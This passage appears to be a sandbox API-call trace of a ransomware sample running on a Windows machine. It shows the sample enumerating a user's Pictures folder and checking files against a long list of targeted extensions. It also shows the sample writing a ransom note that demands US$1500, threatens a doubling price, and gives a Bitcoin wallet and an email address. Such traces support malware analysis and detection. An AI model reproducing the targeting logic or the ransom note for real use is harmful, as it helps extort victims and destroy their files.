HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.svg") returned 0 [0091.221] lstrlenA (lpString="*.svg") returned 5 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.psd") returned 0 [0091.221] lstrlenA (lpString="*.psd") returned 5 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.vmx") returned 0 [0091.221] lstrlenA (lpString="*.vmx") returned 5 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.vmdk") returned 0 [0091.221] lstrlenA (lpString="*.vmdk") returned 6 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.vdi") returned 0 [0091.221] lstrlenA (lpString="*.vdi") returned 5 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.lay6") returned 0 [0091.221] lstrlenA (lpString="*.lay6") returned 6 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.mpeg") returned 0 [0091.221] lstrlenA (lpString="*.mpeg") returned 6 [0091.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.djvu") returned 0 [0091.221] lstrlenA (lpString="*.djvu") returned 6 [0091.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.tiff") returned 0 [0091.222] lstrlenA (lpString="*.tiff") returned 6 [0091.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.backup") returned 0 [0091.222] lstrlenA (lpString="*.backup") returned 8 [0091.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.pdf") returned 0 [0091.222] lstrlenA (lpString="*.pdf") returned 5 [0091.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.cert") returned 0 [0091.222] lstrlenA (lpString="*.cert") returned 6 [0091.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.docm") returned 0 [0091.222] lstrlenA (lpString="*.docm") returned 6 [0091.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.xlsm") returned 0 [0091.222] lstrlenA (lpString="*.xlsm") returned 6 [0091.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.dwg") returned 0 [0091.222] lstrlenA (lpString="*.dwg") returned 5 [0091.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.nd") returned 0 [0091.222] lstrlenA (lpString="*.nd") returned 4 [0091.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.tlg") returned 0 [0091.222] lstrlenA (lpString="*.tlg") returned 5 [0091.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.lgb") returned 0 [0091.222] lstrlenA (lpString="*.lgb") returned 5 [0091.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.mov") returned 0 [0091.222] lstrlenA (lpString="*.mov") returned 5 [0091.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.xdw") returned 0 [0091.222] lstrlenA (lpString="*.xdw") returned 5 [0091.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.ods") returned 0 [0091.223] lstrlenA (lpString="*.ods") returned 5 [0091.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.wav") returned 0 [0091.223] lstrlenA (lpString="*.wav") returned 5 [0091.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.mp3") returned 0 [0091.223] lstrlenA (lpString="*.mp3") returned 5 [0091.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.aiff") returned 0 [0091.223] lstrlenA (lpString="*.aiff") returned 6 [0091.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.flac") returned 0 [0091.223] lstrlenA (lpString="*.flac") returned 6 [0091.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.m4a") returned 0 [0091.223] lstrlenA (lpString="*.m4a") returned 5 [0091.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp", pszSpec="*.csv") returned 0 [0091.223] lstrlenA (lpString="*.csv") returned 5 [0091.223] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61a09cc0, ftCreationTime.dwHighDateTime=0x1d5e647, ftLastAccessTime.dwLowDateTime=0x1b8e2140, ftLastAccessTime.dwHighDateTime=0x1d5e1b4, ftLastWriteTime.dwLowDateTime=0x1b8e2140, ftLastWriteTime.dwHighDateTime=0x1d5e1b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yZSY8MKRD4kJShU24AVn", cAlternateFileName="YZSY8M~1")) returned 1 [0091.223] lstrcmpA (lpString1=".", lpString2="yZSY8MKRD4kJShU24AVn") returned -1 [0091.223] lstrcmpA (lpString1="..", lpString2="yZSY8MKRD4kJShU24AVn") returned -1 [0091.223] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XhJQVMj9.bmp") returned="XhJQVMj9.bmp" [0091.223] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="yZSY8MKRD4kJShU24AVn" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn" [0091.223] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn") returned 59 [0091.223] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61a09cc0, ftCreationTime.dwHighDateTime=0x1d5e647, ftLastAccessTime.dwLowDateTime=0x1b8e2140, ftLastAccessTime.dwHighDateTime=0x1d5e1b4, ftLastWriteTime.dwLowDateTime=0x1b8e2140, ftLastWriteTime.dwHighDateTime=0x1d5e1b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x52d5be, cFileName=".", cAlternateFileName="")) returned 0x502518 [0091.224] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.224] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61a09cc0, ftCreationTime.dwHighDateTime=0x1d5e647, ftLastAccessTime.dwLowDateTime=0x1b8e2140, ftLastAccessTime.dwHighDateTime=0x1d5e1b4, ftLastWriteTime.dwLowDateTime=0x1b8e2140, ftLastWriteTime.dwHighDateTime=0x1d5e1b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0091.224] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.224] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.224] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce60c920, ftCreationTime.dwHighDateTime=0x1d5e4e9, ftLastAccessTime.dwLowDateTime=0x189ca1d0, ftLastAccessTime.dwHighDateTime=0x1d5e210, ftLastWriteTime.dwLowDateTime=0x189ca1d0, ftLastWriteTime.dwHighDateTime=0x1d5e210, nFileSizeHigh=0x0, nFileSizeLow=0x144c4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14bI7t6_Pzu4bqTu7ohq.gif", cAlternateFileName="14BI7T~1.GIF")) returned 1 [0091.224] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0091.224] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="14bI7t6_Pzu4bqTu7ohq.gif") returned 1 [0091.224] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="14bI7t6_Pzu4bqTu7ohq.gif") returned 1 [0091.224] lstrcmpiA (lpString1="", lpString2="14bI7t6_Pzu4bqTu7ohq.gif") returned -1 [0091.224] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\*.*") returned="*.*" [0091.224] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\" [0091.224] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\") returned="" [0091.224] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt" [0091.224] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\how to decrypt files.txt")) returned 0xffffffff [0091.224] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0091.225] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0091.226] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0091.227] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.227] CloseHandle (hObject=0x8c) returned 1 [0091.227] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\", lpString2="14bI7t6_Pzu4bqTu7ohq.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif" [0091.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.ems") returned 0 [0091.227] lstrlenA (lpString="*.ems") returned 5 [0091.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.db") returned 0 [0091.227] lstrlenA (lpString="*.db") returned 4 [0091.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.dbf") returned 0 [0091.227] lstrlenA (lpString="*.dbf") returned 5 [0091.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.myox") returned 0 [0091.227] lstrlenA (lpString="*.myox") returned 6 [0091.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.myo") returned 0 [0091.227] lstrlenA (lpString="*.myo") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.qbw") returned 0 [0091.228] lstrlenA (lpString="*.qbw") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.qbb") returned 0 [0091.228] lstrlenA (lpString="*.qbb") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.qbm") returned 0 [0091.228] lstrlenA (lpString="*.qbm") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.qbo") returned 0 [0091.228] lstrlenA (lpString="*.qbo") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.qbx") returned 0 [0091.228] lstrlenA (lpString="*.qbx") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.qba") returned 0 [0091.228] lstrlenA (lpString="*.qba") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.qby") returned 0 [0091.228] lstrlenA (lpString="*.qby") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.qbj") returned 0 [0091.228] lstrlenA (lpString="*.qbj") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.ofx") returned 0 [0091.228] lstrlenA (lpString="*.ofx") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.qif") returned 0 [0091.228] lstrlenA (lpString="*.qif") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.mye") returned 0 [0091.228] lstrlenA (lpString="*.mye") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.mbox") returned 0 [0091.228] lstrlenA (lpString="*.mbox") returned 6 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.eml") returned 0 [0091.228] lstrlenA (lpString="*.eml") returned 5 [0091.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.pst") returned 0 [0091.229] lstrlenA (lpString="*.pst") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.ost") returned 0 [0091.229] lstrlenA (lpString="*.ost") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.idx") returned 0 [0091.229] lstrlenA (lpString="*.idx") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.dbx") returned 0 [0091.229] lstrlenA (lpString="*.dbx") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.sql") returned 0 [0091.229] lstrlenA (lpString="*.sql") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.mdb") returned 0 [0091.229] lstrlenA (lpString="*.mdb") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.fdb") returned 0 [0091.229] lstrlenA (lpString="*.fdb") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.wab") returned 0 [0091.229] lstrlenA (lpString="*.wab") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.dat") returned 0 [0091.229] lstrlenA (lpString="*.dat") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.txt") returned 0 [0091.229] lstrlenA (lpString="*.txt") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.jpeg") returned 0 [0091.229] lstrlenA (lpString="*.jpeg") returned 6 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.jpg") returned 0 [0091.229] lstrlenA (lpString="*.jpg") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.png") returned 0 [0091.229] lstrlenA (lpString="*.png") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.php") returned 0 [0091.229] lstrlenA (lpString="*.php") returned 5 [0091.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.cs") returned 0 [0091.230] lstrlenA (lpString="*.cs") returned 4 [0091.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.cpp") returned 0 [0091.230] lstrlenA (lpString="*.cpp") returned 5 [0091.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.rar") returned 0 [0091.230] lstrlenA (lpString="*.rar") returned 5 [0091.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.zip") returned 0 [0091.230] lstrlenA (lpString="*.zip") returned 5 [0091.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.html") returned 0 [0091.230] lstrlenA (lpString="*.html") returned 6 [0091.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.htm") returned 0 [0091.230] lstrlenA (lpString="*.htm") returned 5 [0091.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.xlsx") returned 0 [0091.230] lstrlenA (lpString="*.xlsx") returned 6 [0091.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.xls") returned 0 [0091.230] lstrlenA (lpString="*.xls") returned 5 [0091.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.mp4") returned 0 [0091.230] lstrlenA (lpString="*.mp4") returned 5 [0091.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.ppt") returned 0 [0091.230] lstrlenA (lpString="*.ppt") returned 5 [0091.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.pptx") returned 0 [0091.230] lstrlenA (lpString="*.pptx") returned 6 [0091.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.doc") returned 0 [0091.230] lstrlenA (lpString="*.doc") returned 5 [0091.230] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.dot") returned 0 [0091.230] lstrlenA (lpString="*.dot") returned 5 [0091.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.docx") returned 0 [0091.231] lstrlenA (lpString="*.docx") returned 6 [0091.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.7z") returned 0 [0091.231] lstrlenA (lpString="*.7z") returned 4 [0091.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.tar") returned 0 [0091.231] lstrlenA (lpString="*.tar") returned 5 [0091.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.bz2") returned 0 [0091.231] lstrlenA (lpString="*.bz2") returned 5 [0091.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.gz") returned 0 [0091.231] lstrlenA (lpString="*.gz") returned 4 [0091.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.mkv") returned 0 [0091.231] lstrlenA (lpString="*.mkv") returned 5 [0091.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.eml") returned 0 [0091.231] lstrlenA (lpString="*.eml") returned 5 [0091.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.msg") returned 0 [0091.231] lstrlenA (lpString="*.msg") returned 5 [0091.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\14bI7t6_Pzu4bqTu7ohq.gif", pszSpec="*.edb") returned 0 [0091.231] lstrlenA (lpString="*.edb") returned 5 [0091.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 